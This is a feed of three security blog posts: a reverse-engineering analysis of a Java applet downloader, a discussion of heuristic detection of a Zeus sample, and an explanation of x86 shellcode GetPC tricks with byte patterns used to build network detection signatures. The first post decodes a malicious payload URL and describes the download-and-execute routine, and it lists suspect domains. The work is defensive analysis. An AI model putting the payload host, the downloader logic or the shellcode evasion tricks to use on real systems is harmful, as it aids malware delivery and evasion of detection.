&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/java-decompiler.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-550&quot; height=&quot;83&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/java-decompiler.png&quot; title=&quot;java decompiler&quot; width=&quot;242&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
The first line of code in the java applet takes the parameter passed to it (the encoded value we identified above), and hands it to a function called “b.” The result of that function is stored in a string variable called str1.&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/java-malware-part-1.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-551&quot; height=&quot;108&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/java-malware-part-1.png&quot; title=&quot;java malware part 1&quot; width=&quot;337&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
Following the decompiled java code to function “b,” we see the following:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/java-malware-part-2.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-552&quot; height=&quot;119&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/java-malware-part-2.png&quot; title=&quot;java malware part 2&quot; width=&quot;667&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
It turns out the applet actually is using a simple substitution cypher, replacing one given character with another. When the parameter “&lt;strong&gt;&lt;span style=&quot;text-decoration: underline;&quot;&gt;RSS=,TT!;LBIB@STSRTYG$I=R=&lt;/span&gt;&lt;/strong&gt;” is decoded, we end up with the string “&lt;strong&gt;&lt;span style=&quot;text-decoration: underline;&quot;&gt;http://uijn.net/th/fs7.php?i=1&lt;/span&gt;&lt;/strong&gt;.”&lt;br /&gt;
&lt;br /&gt;
The java malware then continues with additional string functions as shown next:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/java-malware-part-3.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-553&quot; height=&quot;242&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/java-malware-part-3.png&quot; title=&quot;java malware part 3&quot; width=&quot;419&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
First, we see the declaration of str2 through str5, with values assigned to each.&lt;br /&gt;
&lt;br /&gt;
Then, str6 through srt8 is simply the reversal of str2 through str4, resulting in the following strings:&lt;br /&gt;
&lt;br /&gt;
Str6 = .exe&lt;br /&gt;
Str7 = java.io.tmpdir&lt;br /&gt;
Str8 = os.name&lt;br /&gt;
&lt;br /&gt;
Combining that with the last three lines of code shown above, we see the following:&lt;br /&gt;
&lt;br /&gt;
Str10 is a filename ending in “.exe” where the actual filename is a randomly generated number.&lt;br /&gt;
Str11 is the path to temporary files for the current user.&lt;br /&gt;
Str12 is the name of the Operating System the java malware is currently running on.&lt;br /&gt;
&lt;br /&gt;
The last part of this java malware (that we’ll examine here anyways) is shown next:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/java-malware-part-4.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-554&quot; height=&quot;239&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/java-malware-part-4.png&quot; title=&quot;java malware part 4&quot; width=&quot;488&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
First, it tests to see if the string “Windows” is contained anywhere in the name of the Operating System. If so, then it goes through the process of opening a connection to the URL (the one we decoded above), downloads the file, saves it to the temporary directory, then executes the file.&lt;br /&gt;
This file appears to be malware as a first-stage downloader for other executables that are likely far more malicious.&lt;br /&gt;
&lt;br /&gt;
&lt;h1&gt;Pre-Summary&lt;/h1&gt;&lt;br /&gt;
Even though a large amount of web traffic is coming into your organization gzip compressed, making most inline/real-time security products totally “blind” to what’s inside, we can use standard forensic principals to identify which of those sessions are worth examination. In this case, we combined to following traits to reduce 50,000 network sessions to a single one:&lt;br /&gt;
&lt;ol&gt;&lt;li&gt;Gzip’ed web content&lt;/li&gt;
&lt;li&gt;Suspicious country&lt;/li&gt;
&lt;li&gt;Uncommon webserver application&lt;/li&gt;
&lt;/ol&gt;Once we drilled into that single session, we saw how trivial it was to use NetWitness to automatically decompress and content, extract it, then validate it as “bad.”&lt;br /&gt;
&lt;br /&gt;
&lt;h1&gt;Epilogue&lt;/h1&gt;&lt;br /&gt;
Does the process stop there? Of course not! If you had to repeat this process every time, not only would it make your job boring as heck, but would call into question the value you and your tools are really providing the organization in the first place! There are many ways to maximize the intelligence gained from the process just shown. I’ll highlight one method here, while saving others for later blog posts.&lt;br /&gt;
&lt;br /&gt;
There are several interesting “indicators” gathered from this traffic so far. The ones I’ll focus on here are host names. In the request made by the client, we saw the following tag in the HTTP Request header:&lt;br /&gt;
&lt;br /&gt;
Host: ertyi.net&lt;br /&gt;
&lt;br /&gt;
In the java malware we decompiled, after decoding the encoded parameter value, we saw the executable to be downloaded was from the host “uijn.net.”&lt;br /&gt;
&lt;br /&gt;
At this point, network rules should be added to firewalls, proxies, NetWitness intelligence feeds, and any other technology you have that can alert to other hosts going to either of those servers – preferably blocking all traffic to those servers.&lt;br /&gt;
&lt;br /&gt;
But, can we extend our security perimeter in relation to the hackers using those servers?&lt;br /&gt;
Interestingly, we find both those domains are hosted on the same IP block: 194.8.250.60 and 194.8.250.61.&lt;br /&gt;
&lt;br /&gt;
That leads to the question, “&lt;em&gt;What other domains are hosted on those servers&lt;/em&gt;?”&lt;br /&gt;
&lt;br /&gt;
Normally I use &lt;a href=&quot;http://www.robtex.com/&quot;&gt;http://www.robtex.com/&lt;/a&gt; to answer questions like that, but in this case, robtex does not provide a lot of information about that question. It’s possible the hackers are brining-up and tearing-down DNS records as needed for the domain names they manage.&lt;br /&gt;
&lt;br /&gt;
Another source of helpful information can be found querying the “Passive DNS replication” database hosted at: &lt;a href=&quot;http://www.bfk.de/bfk_dnslogger.html&quot;&gt;http://www.bfk.de/bfk_dnslogger.html&lt;/a&gt; Here, we can find an audit trail of all historically observed DNS replies pointing to IPs you submit queries about. In this case, we do indeed find valuable information, including about 40 unique host names that have been hosted on those two IP’s. A shortened list is included below showing some of the names that have been hosted there.&lt;br /&gt;
&lt;br /&gt;
aeriklin.com&lt;br /&gt;
aijkl.net&lt;br /&gt;
asdfiz.net&lt;br /&gt;
asuyr.net&lt;br /&gt;
campag.net&lt;br /&gt;
iifgn.net&lt;br /&gt;
jhgi.net&lt;br /&gt;
jugv.net&lt;br /&gt;
kobqq.com&lt;br /&gt;
krclear.com&lt;br /&gt;
lilif.net&lt;br /&gt;
nadwq.com&lt;br /&gt;
oiuhx.net&lt;br /&gt;
pokiz.net&lt;br /&gt;
uijn.net&lt;br /&gt;
&lt;br /&gt;
As we can see, none of them look immediately legitimate, so we can infer this is a hacking group using a set of servers for domains they have registered simply to be “thrown away” if any of those domain names are discovered and end up on a blacklist somewhere.&lt;br /&gt;
&lt;br /&gt;
&lt;h1&gt;The Real Summary&lt;/h1&gt;&lt;br /&gt;
By combining a few pivot points and looking inside compressed web traffic most products ignore, from a single network session we proactively increased the security posture of your organization by creating an intelligence feed of nearly 40 hosts names and 2 IP’s. You could now audit DNS queries made by all hosts in your organization to see if other clients are compromised and doing look-ups when trying to communicate with those hosts.&lt;br /&gt;
&lt;br /&gt;
For the truly paranoid (or safe, depending on how you look at it), you could also blackhole all traffic to those apparently malicious networks:&lt;br /&gt;
&lt;br /&gt;
route: 194.8.250.0/23&lt;br /&gt;
origin: AS29557&lt;br /&gt;
&lt;br /&gt;
Considering the Google Safe Browsing report for that AS, it’s probably not a bad idea!&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/google-safe-browsing.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-556&quot; height=&quot;271&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/google-safe-browsing.png&quot; title=&quot;google safe browsing&quot; width=&quot;706&quot; /&gt;&lt;/a&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://garygolomb.blogspot.com/feeds/8924032207946128439/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://garygolomb.blogspot.com/2010/11/network-forensics-and-reversing-part-1.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9200389290278441968/posts/default/8924032207946128439'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9200389290278441968/posts/default/8924032207946128439'/><link rel='alternate' type='text/html' href='http://garygolomb.blogspot.com/2010/11/network-forensics-and-reversing-part-1.html' title='Network Forensics and Reversing Part 1 – gzip web content, java malware, and a little JavaScript'/><author><name>Gary Golomb</name><uri>http://www.blogger.com/profile/16783084866456430578</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='17' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbRNeGtEO_W_ItNA_YX1leAKitOl81FwZwc8AxB9392DDZM3EZeO3ujmVb2ApY2SQUQktxu93BRV9FQQupRDp0wyE8peWmR2oQ4_h0q1be5eZRH0-u-n59pXKh0bUXQsk/s220/IMG_0435.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9200389290278441968.post-4495023990626471046</id><published>2010-11-27T10:24:00.001-05:00</published><updated>2010-11-27T11:04:19.723-05:00</updated><title type='text'>It’s Malware!</title><content type='html'>&lt;div class=&quot;MsoNormal&quot; style=&quot;margin: 0in 0in 10pt;&quot;&gt;&lt;span style=&quot;font-family: Calibri;&quot;&gt;Note: This is a reprint of a posting I made for my company, NetWitness (&lt;/span&gt;&lt;a href=&quot;http://www.netwitness.com/&quot;&gt;&lt;span style=&quot;font-family: Calibri;&quot;&gt;www.netwitness.com&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;font-family: Calibri;&quot;&gt;). This is unchanged from the original, however that copy can be found at: &lt;a href=&quot;http://www.networkforensics.com/2010/10/18/its-malware/&quot;&gt;http://www.networkforensics.com/2010/10/18/its-malware/&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin: 0in 0in 10pt;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;span class=&quot;entry&quot;&gt;Zeus is evolving. In regards to a new release, one Anti-Virus vendor recently noted:&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin: 0in 0in 10pt;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin: 0in 0in 10pt;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;br /&gt;
&lt;blockquote&gt;“[the new exe] &lt;em&gt;uses techniques designed to avoid automatic heuristics-based detection&lt;/em&gt;.”&lt;/blockquote&gt;The discussion then proceeds to examine how the exe is different from previous versions of the malware.&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;&lt;em&gt;Should we be alarmed that Zeus is getting so sophisticated that it evades heuristics-based detection mechanisms?&lt;/em&gt;&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
I suppose if it actually evaded heuristics-based detection mechanisms, that would be alarming. I’m sure the version of Zeus in question evades the mechanisms of certain AV vendors. However, when looking at the exact sample in question (verified by MD5) using the techniques we use for malware identification here, we see the sample stands out like a sore thumb.&lt;br /&gt;
&lt;br /&gt;
Using our own internally-developed heuristic malware identification methods (also used by components of NextGen), we see the exe has traits such as the following (not a complete list!):&lt;br /&gt;
&lt;br /&gt;
&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-465&quot; height=&quot;77&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/a-couple-zeus-sample-traits1.png&quot; title=&quot;a few zeus sample traits&quot; width=&quot;480&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;ol&gt;&lt;li&gt;The binary contains packed sections, indicative of packed, obfuscated, and/or encrypted malware.&lt;/li&gt;
&lt;li&gt;The size of the binary is abnormally small considering the conditions and context in which it was found.&lt;/li&gt;
&lt;li&gt;The PE checksum fails to validate, something malware packers are notoriously bad about.&lt;/li&gt;
&lt;li&gt;The binary does not have any information normally found within the version info table in the resource section of the PE.&lt;/li&gt;
&lt;/ol&gt;But… Why get overly wrapped around the minutia related to the abnormal facets of this particular sample of Zeus? There’s a more important note to be made here. That is, Zeus is malware, so it does the things that malware does! You can’t get more “heuristically obvious” than that!&lt;br /&gt;
&lt;br /&gt;
From the same vendor as above:&lt;br /&gt;
&lt;blockquote&gt;“…&lt;em&gt;common ZeuS 2.0 variants contain relatively few imported external APIs… By contrast,&lt;/em&gt; [this version] &lt;em&gt;imports many external APIs. To a heuristic scanner, this changes the appearance of the file and lowers the possibility of detection&lt;/em&gt;.”&lt;/blockquote&gt;Finding a binary that has very few external imports is generally a sign that something is suspicious. Specifically, it’s generally a sign the file is packed, obfuscated, and/or encrypted and the real imports are likely hidden inside. Such is the case when finding binaries that only import between two and five specific API’s from kernel32.dll (in the more obvious cases).&lt;br /&gt;
&lt;br /&gt;
However, when finding a binary with a lot of imports, that’s even better since you get to see the full range of imports needed&amp;nbsp;by&amp;nbsp;the binary/malware! Without even running the sample or doing deep low-level reverse engineering, you can start to make assumptions about the functionality of the binary based on the API’s it uses. Further, it’s a simple matter to separate malware from legitimate binaries by comparing the API’s it uses to the ones it doesn’t need/use.&lt;br /&gt;
&lt;br /&gt;
As is the case with this sample of Zeus, we see it (like the thousands of different types of malware not related to Zeus) imports APIs related to hooking the Windows API, creating mutexes, and managing services – without importing the functions used by legitimate binaries that also use the same functions.&lt;br /&gt;
So, should we be alarmed some people say Zeus is getting so sophisticated that it evades heuristics-based detection mechanisms?&lt;br /&gt;
&lt;br /&gt;
If your security vendor is looking for Zeus, then yes. You should be alarmed. However, if your security vendor is looking for malware, generic signs of infection, and so on, then no… Fortunately Zeus is still malware, just like all the others…</content><link rel='replies' type='application/atom+xml' href='http://garygolomb.blogspot.com/feeds/4495023990626471046/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://garygolomb.blogspot.com/2010/11/its-malware.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9200389290278441968/posts/default/4495023990626471046'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9200389290278441968/posts/default/4495023990626471046'/><link rel='alternate' type='text/html' href='http://garygolomb.blogspot.com/2010/11/its-malware.html' title='It’s Malware!'/><author><name>Gary Golomb</name><uri>http://www.blogger.com/profile/16783084866456430578</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='17' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbRNeGtEO_W_ItNA_YX1leAKitOl81FwZwc8AxB9392DDZM3EZeO3ujmVb2ApY2SQUQktxu93BRV9FQQupRDp0wyE8peWmR2oQ4_h0q1be5eZRH0-u-n59pXKh0bUXQsk/s220/IMG_0435.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9200389290278441968.post-2894821928686339644</id><published>2010-11-27T10:17:00.001-05:00</published><updated>2010-11-27T11:04:12.632-05:00</updated><title type='text'>Network detection of x86 buffer overflow shellcode</title><content type='html'>&lt;div class=&quot;MsoNormal&quot; style=&quot;margin: 0in 0in 10pt;&quot;&gt;&lt;span style=&quot;font-family: Calibri;&quot;&gt;Note: This is a reprint of a posting I made for my company, NetWitness (&lt;/span&gt;&lt;a href=&quot;http://www.netwitness.com/&quot;&gt;&lt;span style=&quot;font-family: Calibri;&quot;&gt;www.netwitness.com&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;font-family: Calibri;&quot;&gt;). This is unchanged from the original, however that copy can be found at: &lt;a href=&quot;http://www.networkforensics.com/2010/05/16/network-detection-of-x86-buffer-overflow-shellcode/&quot;&gt;http://www.networkforensics.com/2010/05/16/network-detection-of-x86-buffer-overflow-shellcode/&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin: 0in 0in 10pt;&quot;&gt;&lt;/div&gt;&lt;strong&gt;&lt;span style=&quot;text-decoration: underline;&quot;&gt;Overview&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
This technique can detect overflow exploits against software running on the x86 platform, meaning it applies to Windows, Unix, and Mac shellcode. It not only works independently of OS, but it also works for finding both stack and heap based overflows. Most interestingly, it catches most forms of polymorphic shellcode as well. (Actually, it exceeds at finding special shellcodes like polymorphic decryption engines, egg hunters, etc.) &amp;nbsp;While this definitely doesn’t work for all shellcode, it works for a lot of it.&lt;br /&gt;
&lt;br /&gt;
The reason this technique applies to any operating system on x86 is simple. Shellcode is typically written in machine code (commonly called assembly, although it’s not actually the same thing), meaning shellcode is written using processor instructions – something independent of the OS it’s running on. Of course, the entire purpose of shellcode is manipulation of the OS, so shellcode is ultimately OS specific (even patch specific), but its basic primitives are independent of the OS.&lt;br /&gt;
&lt;br /&gt;
One classic problem with shellcoding is addressing. Because shellcode is [typically] nefariously injected via exploitation into a process’s memory segment, and program execution is “hijacked” (without the benefit of setting up proper address pointers), the coder doesn’t know where in memory their code will be. The problem is, very little can be accomplished without knowing the logical memory address of parameters within the shellcode.&lt;br /&gt;
&lt;br /&gt;
The simplest way around this issue is use of a CALL instruction. More information is available in the “Intel 64 and IA-32 Architectures Software Developer’s Manual Volume 2A: Instruction Set Reference, A-M” (and 2B: N-Z) located here: &lt;a href=&quot;http://www.intel.com/products/processor/manuals/&quot;&gt;&lt;span style=&quot;color: #044d8b;&quot;&gt;http://www.intel.com/products/processor/manuals/&lt;/span&gt;&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
The CALL is used as a way to branch processor execution to another location in memory. It has the minor benefit of being able to use relative addressing, but it has the major benefit of PUSH’ing procedure linking information on the stack before branching to the target location. This is commonly referred to as Call Stack Setup. When executing a near call, the processor pushes the value of the EIP register (which contains the offset of the instruction following the CALL instruction) on the stack (for use later as a return-instruction pointer). The processor then branches to the address in the current code segment specified by the target operand.&lt;br /&gt;
&lt;br /&gt;
There are several versions of the CALL instruction, but the one we’re interested in for this purpose is opcode 0xE8. This is a near call (near, meaning within the current memory segment) using relative address displacement with a negative offset (eg: backwards displacement). The actual instruction is 5 bytes long, with the last four bytes used for a relative offset (a signed displacement relative to the current value of the instruction pointer in the EIP register; this value points to the instruction following the CALL instruction). The CS register is not changed on near calls, so the results of these branches can be safely predicted (from a shellcoders perspective).&lt;br /&gt;
&lt;br /&gt;
A section of a disassembled binary is shown here with an actual CALL. Notice the instruction is given as an 0xe8 plus a double word (32 bit) displacement pointer.&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/call2.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;size-full wp-image-298 aligncenter&quot; height=&quot;59&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/call2.png&quot; title=&quot;call2&quot; width=&quot;491&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
The CALL is usually needed early in shellcode execution to PUSH the virtual address contained in the IP onto the stack. (This is done because it’s not possible to access the IP directly, so it needs to be put on the stack to utilize parameters within the shellcode). However, the problem with the use of CALLs for call stack setup in buffer overflow shellcode is the CALL is generally located at an offset needing to serve as a return address after other instructions have already been executed. In other words, the CALL is generally located later in the shellcode and the processor executes the instructions sequentially from the start of the shellcode – unless a branching instruction is encountered.&lt;br /&gt;
&lt;br /&gt;
Which is precisely how to solve the problem in shellcode – early in the execution of the shellcode, you simply JMP to the CALL in question, then call back into the shellcode and continue execution.&lt;br /&gt;
JMPs are simple instructions and easy to visibly identify and dissect. They are simply the opcode 0xEB followed by a byte indicating the number of bytes to jump.&lt;br /&gt;
&lt;br /&gt;
The example below is taken from an MDaemon Pre Authentication Heap Overflow exploit:&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/jmp-to-call1.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-305&quot; height=&quot;227&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/jmp-to-call1.png&quot; title=&quot;jmp to call&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
In the first example above (the egghunter shellcode), we see a “\xeb\x21” which means, “Jump 0×21 (or decimal 33) bytes.” When you jump those bytes, you hit the green box, a CALL. The CALL performs the call stack setup, then branches backwards back into the shellcode and picks up just after the JMP (because of the negative displacement). The actual offset is [0xFF – 0xDA = 0x25]. 0×25 is 37 in decimal, however, you subtract 5 from that since the offset starts at the end of the 5-byte CALL. That lands us just after the JMP.&lt;br /&gt;
&lt;br /&gt;
Simple, yet effective. Even analysis of polymorphic shellcode generators shows this technique applies to almost all them as well.&lt;br /&gt;
&lt;br /&gt;
To summarize all this rambling, the technique (show in the FelxParser below) is simply to search for a JMP straight to a NEAR CALL with a short and negative displacement.&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;&lt;/strong&gt;&lt;br /&gt;
&lt;strong&gt;&lt;span style=&quot;text-decoration: underline;&quot;&gt;Evasion&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;em&gt;&lt;span style=&quot;text-decoration: underline;&quot;&gt;Call with no offset&lt;/span&gt;&lt;/em&gt;&lt;br /&gt;
&lt;br /&gt;
Evasion of JMP/CALL detection can be accomplished a number of ways. The most interesting evasions are techniques used in advanced NOP sleds obfuscation leveraging CALLs that started surfacing around the mid-2000’s.&lt;br /&gt;
&lt;br /&gt;
One of the simplest CALL-based NOP substitutions worked as follows:&lt;br /&gt;
&lt;br /&gt;
00000000&amp;nbsp;&amp;nbsp;&amp;nbsp; E800000000&amp;nbsp; call 0×5&lt;br /&gt;
00000005&amp;nbsp;&amp;nbsp;&amp;nbsp; 58&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pop eax&lt;br /&gt;
&lt;br /&gt;
In that example we have a CALL with no offset, which basically translates to “branch to the instruction after this CALL,” in this case an opcode that simply POPs the EIP into the EAX register. (Remember, when the CALL is hit, the processor runs through the call stack setup, meaning the EIP was just PUSHED onto the stack.) From a NOP perspective, this leaves the stack unchanged, but for a method to grab the EIP, this is a simple and efficient (although the use of NULL bytes makes this more difficult to use in a wide range of shellcode).&lt;br /&gt;
&lt;br /&gt;
As that byte sequence is very rare in binaries, detecting this is much simpler since we have the benefit of a continuous 6-byet token to watch for. In the case the EIP is poped to EAX, the token is simply&lt;br /&gt;
&lt;br /&gt;
0xE8 0×00 0×00 0×00 0×00 0×58&lt;br /&gt;
&lt;br /&gt;
The above pattern should be extended to include all the general purpose POPs, including:&lt;br /&gt;
&lt;br /&gt;
0xE8 0×00 0×00 0×00 0×00 0×58&lt;br /&gt;
0xE8 0×00 0×00 0×00 0×00 0×8F&lt;br /&gt;
0xE8 0×00 0×00 0×00 0×00 0×0F 0×1A&lt;br /&gt;
0xE8 0×00 0×00 0×00 0×00 0×0F 0xA9&lt;br /&gt;
&lt;br /&gt;
&lt;em&gt;&lt;span style=&quot;text-decoration: underline;&quot;&gt;Noir’s no JMP/CALL&lt;/span&gt;&lt;/em&gt;&lt;br /&gt;
&lt;br /&gt;
This next technique was first described by noir@gsu.linux.org.tr&amp;nbsp; on the vuln-dev mailing list. It works as follows:&lt;br /&gt;
&lt;br /&gt;
00000000&amp;nbsp;&amp;nbsp;&amp;nbsp; D9EE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fldz&lt;br /&gt;
00000002&amp;nbsp;&amp;nbsp;&amp;nbsp; D97424F4&amp;nbsp;&amp;nbsp;&amp;nbsp; fnstenv [esp-0xc]&lt;br /&gt;
00000006&amp;nbsp;&amp;nbsp;&amp;nbsp; 58&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pop eax&lt;br /&gt;
&lt;br /&gt;
In this case, the technique is to use FNSTENV to get the EIP of the last FPU instruction evaluated, then POP it from the stack. In the example above, the FLDZ FPU instruction is issued, then its EIP is POP’ed. This very cool technique allows for many permutations since any number of floating point instructions can be used.&amp;nbsp; Several dozen pages in the Intel Developers Instruction Reference A-M (starting around page 430) cover instructions that can be used in place of FLDZ.&lt;br /&gt;
&lt;br /&gt;
&lt;em&gt;&lt;span style=&quot;text-decoration: underline;&quot;&gt;Gera’s CALL into self&lt;/span&gt;&lt;/em&gt;&lt;br /&gt;
&lt;br /&gt;
The final one we’ll look at is a crafty method to avoid JMP/CALLs, and works like this:&lt;br /&gt;
&lt;br /&gt;
00000000&amp;nbsp;&amp;nbsp;&amp;nbsp; E8FFFFFFFF&amp;nbsp; call 0×4&lt;br /&gt;
00000005&amp;nbsp;&amp;nbsp;&amp;nbsp; C3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; ret&lt;br /&gt;
00000006&amp;nbsp;&amp;nbsp;&amp;nbsp; 58&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; pop eax&lt;br /&gt;
&lt;br /&gt;
The interesting thing is the code above does not perform the actions the disassembler has labeled them as doing. In reality, the CALL (E8FFFFFFFF) is calling backwards into itself by a single byte. Therefore, the processor will hit the byte 0xFF (the tail end of the CALL) and interpret that byte as an instruction. In this case, the instruction is an INC/DEC (increment by 1 or decrement by 1). The 0xC3 is actually an operand to the interpreted 0xFF instruction, so it’s not a RET (return, normally used for call stack unwinding) in this case – it’s actually a pointer to the value stored in the EBX register as an operand for the INC/DEC instruction! After this step has been taken (the equivalent of a NOP really), the value on the stack is POP’ed into the EAX register using the 0×58 instruction. The value POPed is the EIP since it was PUSHed onto the stack when the CALL called back into itself.&lt;br /&gt;
&lt;br /&gt;
While this is a very cool technique, it also provides a number of simple tokens to match on, similar to the Call with no offset example.&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;&lt;span style=&quot;text-decoration: underline;&quot;&gt;False positives and benign triggers&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
In testing of 55 GB of data (network and host based) no false positives were encountered searching for a JMP to short and near negative CALL. However, benign triggers were encountered (meaning the condition was detected, but it was a valid use of the condition). The condition was only detected inside some valid PE files, and because of that fact, they can be filtered using a number of simple and easy techniques depending on the technology used to discover them.&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;&lt;span style=&quot;text-decoration: underline;&quot;&gt;Flex Parser&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
Currently, the parser engine does not allow for one-byte tokens, so this parser is not functional as-is. (The concept presented here can easily be extended to identifying percent-encoded shellcodes, which is supported since they are represented as multi-byte tokens.) Nonetheless, and more importantly, the technique is annotated here in Flex so the reader can see how simple it is to write FlexParsers to discover a wide array of very complex conditions – such as universal shellcode detection.&lt;br /&gt;
&lt;br /&gt;
&lt;script src=&quot;http://pastebin.com/embed_js.php?i=6KC8TQLe&quot;&gt;
